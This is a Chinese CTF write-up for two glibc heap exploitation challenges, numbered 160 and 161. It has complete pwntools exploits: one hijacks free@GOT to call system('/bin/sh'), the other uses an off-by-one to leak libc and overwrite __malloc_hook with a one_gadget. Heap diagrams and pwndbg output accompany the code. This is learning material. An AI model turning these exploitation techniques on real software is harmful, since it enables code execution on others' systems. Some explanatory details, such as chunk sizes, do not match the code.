参考文章
160
找到漏洞点在exit处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| unsigned int __cdecl sub_80488C0(unsigned __int8 a1) { unsigned int result; int v2; unsigned int v3;
v3 = __readgsdword(0x14u); if ( a1 < (unsigned __int8)byte_804B061 && *((_DWORD *)&unk_804B080 + a1) ) { v2 = 0; printf("text length: ") __isoc99_scanf("%u%c", &v2); if ( **((_DWORD **)&unk_804B080 + a1) + v2 >= (unsigned int)(*((_DWORD *)&unk_804B080 + a1) - 4) ) { puts("Wtf?"); exit(1); } printf("text: "); sub_8048846(**((_DWORD **)&unk_804B080 + a1), v2 + 1); } result = __readgsdword(0x14u) ^ v3; if ( result ) sub_8048EF0(); return result; }
|
1
| **((_DWORD **)&unk_804B080 + a1) + v2 >= (unsigned int)(*((_DWORD *)&unk_804B080 + a1) - 4)
|
这个判断处在漏洞,它是通过限制修改的长度,使得我们自己创建的chunk地址加上修改长度不能超过系统创建的chunk的长度。
但是这种限制是可以绕过的。
虚拟机高级会自己检查出堆溢出,等我配个低级的虚拟机再继续来写,不然无法调试。
安装好了ubuntu20继续做题。
来动调看看变化,还是有自动检查,不知道什么问题。只能先放这里了,目前只只能理论上理解这题了。
附个佬的exp,再用图来解释攻击过程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| from pwn import * from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn" io = remote("xxxx", xxxx)
elf = ELF(pwnfile) libc = ELF("xxxx.so")
s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num=4096 :io.recv(num) ru = lambda delims :io.recvuntil(delims) itr = lambda :io.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size,data,size1,data1): sla(b"Action: ",b"0") ru(b"size of description: ") sl(str(size)) ru(b"name: ") sl(data) ru(b"text length: ") sl(str(size1)) ru(b"text: ") sl(data1)
def free(idx): sla(b"Action: ",b"1") sla(b"index: ",str(idx))
def show(idx): sla(b"Action: ",b"2") sla(b"index: ",str(idx))
def edit(idx,size,data): sla(b"Action: ",b"3") sla(b"index: ",str(idx)) ru(b"text length: ") sl(str(size)) ru(b"text: ") sl(data)
free_got = elf.got['free']
add(0x80,b"aaaa",0x80,b"bbbb") add(0x80,b"aaaa",0x80,b"bbbb") add(0x80,b"aaaa",0x80,b"/bin/sh;")
free(0) add(0x100,b"vvvv",0x100,b"gggg")
edit(3,0x200,b"a"*0x108+p32(0)+p32(0x89)+b"a"*0x80+p32(0)+p32(0x89)+p32(free_got)) show(1) free_addr = u32(io.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00")) libc_base = free_addr-libc.sym['free'] print("libc_base",hex(libc_base)) system_addr = libc_base+libc.sym['system'] edit(1,0x8,p32(system_addr)) free(2)
itr()
|
Step 1:连续 add
三次后的初始布局(A 与 S 紧挨)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| +----------------------+ <-- 0x8ee0000 | 主chunk0 (0x80) | # add(0x80) "aaaa" | 数据区: 0x8ee0008 | +----------------------+ <-- 0x8ee0090 | 系统chunk0 (0x80) | # add(0x80) "bbbb" | 数据区: 0x8ee0098 | +----------------------+ <-- 0x8ee0118 | 主chunk1 (0x80) | # add(0x80) "aaaa" | 数据区: 0x8ee0120 | +----------------------+ <-- 0x8ee01a0 | 系统chunk1 (0x80) | # add(0x80) "bbbb" | 数据区: 0x8ee01a8 | +----------------------+ <-- 0x8ee0228 | 主chunk2 (0x80) | # add(0x80) "aaaa" | 数据区: 0x8ee0230 | +----------------------+ <-- 0x8ee02b0 | 系统chunk2 (0x80) | # add(0x80) "/bin/sh;" | 数据区: 0x8ee02b8 | +----------------------+ | TOP CHUNK | 高地址 ↑
|
Step 2:free(0)
后,A0+S0 合并为空闲(低地址形成大洞)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| +----------------------+ <-- 0x8ee0000 | FREE(A0+S0) | # free(0) 后 A0 与 S0 合并为空闲段 | 范围: 0x8ee0000 ~ 0x8ee0118 +----------------------+ <-- 0x8ee0118 | 主chunk1 (0x80) | # 保持不变 | 数据区: 0x8ee0120 | +----------------------+ <-- 0x8ee01a0 | 系统chunk1 (0x80) | # 保持不变 | 数据区: 0x8ee01a8 | +----------------------+ <-- 0x8ee0228 | 主chunk2 (0x80) | # 保持不变 | 数据区: 0x8ee0230 | +----------------------+ <-- 0x8ee02b0 | 系统chunk2 (0x80) | # 保持不变 | 数据区: 0x8ee02b8 | +----------------------+ | TOP CHUNK | 高地址 ↑
|
Step 3:再次 add(0x100, "vvvv", 0x100, "gggg")
新的 主chunk3(0x100) 优先复用低地址的 FREE(把洞吃掉);
但配套的 系统chunk3(0x100) 因附近无相邻空间,只能从 TOP CHUNK(高地址)再切一块出来,因此被甩到更远处。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| +----------------------+ <-- 0x8ee0000 | 主chunk3 (0x100) | # 新的用户块,复用低地址 FREE | 数据区: 0x8ee0008 | +----------------------+ <-- 0x8ee0108 | 主chunk1 (0x80) | # 仍在原位 | 数据区: 0x8ee0120 | +----------------------+ <-- 0x8ee01a0 | 系统chunk1 (0x80) | # 仍在原位 | 数据区: 0x8ee01a8 | +----------------------+ <-- 0x8ee0228 | 主chunk2 (0x80) | # 仍在原位 | 数据区: 0x8ee0230 | +----------------------+ <-- 0x8ee02b0 | 系统chunk2 (0x80) | # 仍在原位 | 数据区: 0x8ee02b8 | +----------------------+ <-- 0x8ee0400 (举例) | 系统chunk3 (0x100) | # 从 TOP 切分的新系统块(远端高地址) | 数据区: 0x8ee0408 | +----------------------+ | TOP CHUNK | 高地址 ↑
|
Step 4:edit(3,0x200, ...)
溢出伪造
- 主chunk3(0x100) 本来在低地址,edit(3,0x200, …) 写入 超过 0x100 的数据,覆盖到相邻的 主chunk1 / 系统chunk1 的头部。
- payload 把它们伪造成
size=0x89
的 fake chunk,并在 fd 指针写入 free@got。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| +----------------------+ <-- 0x8ee0000 | 主chunk3 (0x100) | # 用户可控,edit(3,...) 时从这里开始写 | 数据区: 0x8ee0008 | | ... 溢出覆盖 ... | | fake size=0x89 | # 伪造chunk头 | fd=free_got | # 链入 fastbin +----------------------+ <-- 0x8ee0108 | 主chunk1 (伪造头) | # 被覆盖 size/FD 改掉 | fd=free_got | +----------------------+ <-- 0x8ee01a0 | 系统chunk1 (0x80) | # header 被覆盖 | ... | +----------------------+ <-- 0x8ee0228 | 主chunk2 (0x80) | # 还在原位 | 数据区: 0x8ee0230 | +----------------------+ <-- 0x8ee02b0 | 系统chunk2 (0x80) | # /bin/sh | 数据区: 0x8ee02b8 | +----------------------+ <-- 0x8ee0400 | 系统chunk3 (0x100) | # 远端 TOP 分配 | 数据区: 0x8ee0408 | +----------------------+ | TOP CHUNK | 高地址 ↑
|
step 5:show(1)
→ 泄露 free@libc
- 因为 fake FD 指向
free_got
,show(1) 会打印出 GOT 表项内容(真实的 free
地址)。
- 通过
free_addr - libc.sym['free']
算出 libc 基址。
Step 6:edit(1,0x8,p32(system_addr))
Step 7:free(2)
- 系统chunk2 数据区存的是
/bin/sh
;
- 执行
free(2)
实际调用了 system("/bin/sh")
→ getshell 🎉
161
1 2 3 4 5 6 7 8 9 10 11 12
| __int64 __fastcall sub_E3A(int a1, unsigned int a2) { __int64 result;
if ( a1 > (int)a2 ) return a2; if ( a2 - a1 == 10 ) LODWORD(result) = a1 + 1; else LODWORD(result) = a1; return (unsigned int)result; }
|
在edit函数中有off-by-one漏洞
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| from pwn import * from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn" io = remote("pwn.challenge.ctf.show", 28311)
elf = ELF(pwnfile) libc = ELF("./libc-2.23.so")
s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num=4096 :io.recv(num) ru = lambda delims :io.recvuntil(delims) itr = lambda :io.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size): sla(b"Choice: ",b"1") sla(b"size: ",str(size))
def edit(idx,size,data): sla(b"Choice: ",b"2") ru(b"index: ") sl(str(idx)) ru(b"size: ") sl(str(size)) ru(b"content: ") s(data)
def free(idx): sla(b"Choice: ",b"3") sla(b"index: ",str(idx))
def show(idx): sla(b"Choice: ",b"4") sla(b"index: ",str(idx))
add(0x18) add(0x68) add(0x68) add(0x68)
payload = b"a"*0x18+b"\xe1" edit(0,0x18+10,payload) free(1) add(0x78)
show(2)
main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) malloc_hook = main_arena-0x10-88 libc_base = malloc_hook-libc.sym["__malloc_hook"] fake_chunk = malloc_hook-0x23 realloc = libc_base+libc.sym["realloc"]
one_gadget = libc_base+gadget[1] print("libc_base",hex(libc_base))
payload = p64(0)*0xd+p64(0x71) edit(1,len(payload),payload) free(2) payload = p64(0)*0xd+p64(0x71)+p64(fake_chunk) edit(1,len(payload),payload) add(0x68) add(0x68)
payload = b"a"*3+p64(0)+p64(one_gadget)+p64(realloc+16) edit(4,len(payload),payload) add(0x10)
itr()
|
详细来解释攻击过程
1 2 3 4
| add(0x18) add(0x68) add(0x68) add(0x68)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x60bcb54f7000 Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE Addr: 0x60bcb54f7290 Size: 0x20 (with flag bits: 0x21) chunk0
Allocated chunk | PREV_INUSE Addr: 0x60bcb54f72b0 chunk1 Size: 0x70 (with flag bits: 0x71)
Allocated chunk | PREV_INUSE Addr: 0x60bcb54f7320 chunk2 Size: 0x70 (with flag bits: 0x71)
Allocated chunk | PREV_INUSE Addr: 0x60bcb54f7390 chunk3 Size: 0x70 (with flag bits: 0x71)
Top chunk | PREV_INUSE Addr: 0x60bcb54f7400 Size: 0x20c00 (with flag bits: 0x20c01)
|
1 2 3 4 5 6 7 8 9 10
| +----------------------+ <-- A (index 0) | chunk A (0x70) | # 用来 off-by-one +----------------------+ <-- B (index 1) | chunk B (0x70) | # 将被改 size=0xe0 +----------------------+ <-- C (index 2) | chunk C (0x70) | # 后面泄露 libc +----------------------+ <-- D (index 3) | chunk D (0x70) | # 隔离,防合并 +----------------------+ | top chunk ... |
|
1 2
| payload = b"a"*0x18+b"\xe1" edit(0,0x18+10,payload)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x63ea93c93000 Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE Addr: 0x63ea93c93290 Size: 0x20 (with flag bits: 0x21) chunk0
Allocated chunk | PREV_INUSE Addr: 0x63ea93c932b0 Size: 0xe0 (with flag bits: 0xe1) chunk1的大小就被改了
Allocated chunk | PREV_INUSE Addr: 0x63ea93c93390 chunk3 Size: 0x70 (with flag bits: 0x71)
Top chunk | PREV_INUSE Addr: 0x63ea93c93400 Size: 0x20c00 (with flag bits: 0x20c01)
|
可以看到chunk1的大小就被改了
怎么改变的呢?
0x18会自动补全成0x20此时覆盖掉了pre size,由于off-by-one,我们写入0xe1就可以覆盖chunk1的size从而改变chunk1的大小。
这样做有什么用?
chunk1大小改变后chunk1的用户区就会覆盖到chunk2的头部。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x6271fdbd2000 Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE Addr: 0x6271fdbd2290 Size: 0x20 (with flag bits: 0x21)
Free chunk (tcachebins) | PREV_INUSE Addr: 0x6271fdbd22b0 Size: 0xe0 (with flag bits: 0xe1) fd: 0x6271fdbd2
Allocated chunk | PREV_INUSE Addr: 0x6271fdbd2390 Size: 0x70 (with flag bits: 0x71)
Top chunk | PREV_INUSE Addr: 0x6271fdbd2400 Size: 0x20c00 (with flag bits: 0x20c01)
|
这里补充一下
- glibc 的 free 逻辑(以 2.23 为例):
- 小于等于
0x80
(含 chunk header)的空闲块 → 放入 fastbin;
- 大于
0x80
且小于等于 0x400
→ 放入 small bin,但第一次 free 先进入 unsorted bin;
- 更大的 → large bin / top chunk。
👉 总结:一个 chunk 进 unsorted 还是 fastbin,取决于它的 size(含 header)
这样做有什么用?
由上一步chunk1的用户区覆盖到chunk2的头部,当 chunk1 进 unsorted 时,glibc 会在这个空闲块的用户区最前面写入 fd/bk
指针,指向 main_arena
,这些指针是 libc 地址。
由于 chunk1 被“扩成了 0xe0”,它的“用户区”已经覆盖到 chunk2的头和部分用户区;于是 unsorted 的 fd/bk
指针就落在了 C 的用户区里(重叠泄露的关键)
这时 add(0x88)
show(2)
将chunk1申请回来再,打印 chunk2,就能读到 main_arena
相关指针,从而泄露 libc。
远程是可以泄露的,但是在本地调试的时候add(0x88)的时候会回直接申请一个新堆块,导致没成功,现在还没找到解决办法,先放这里。
162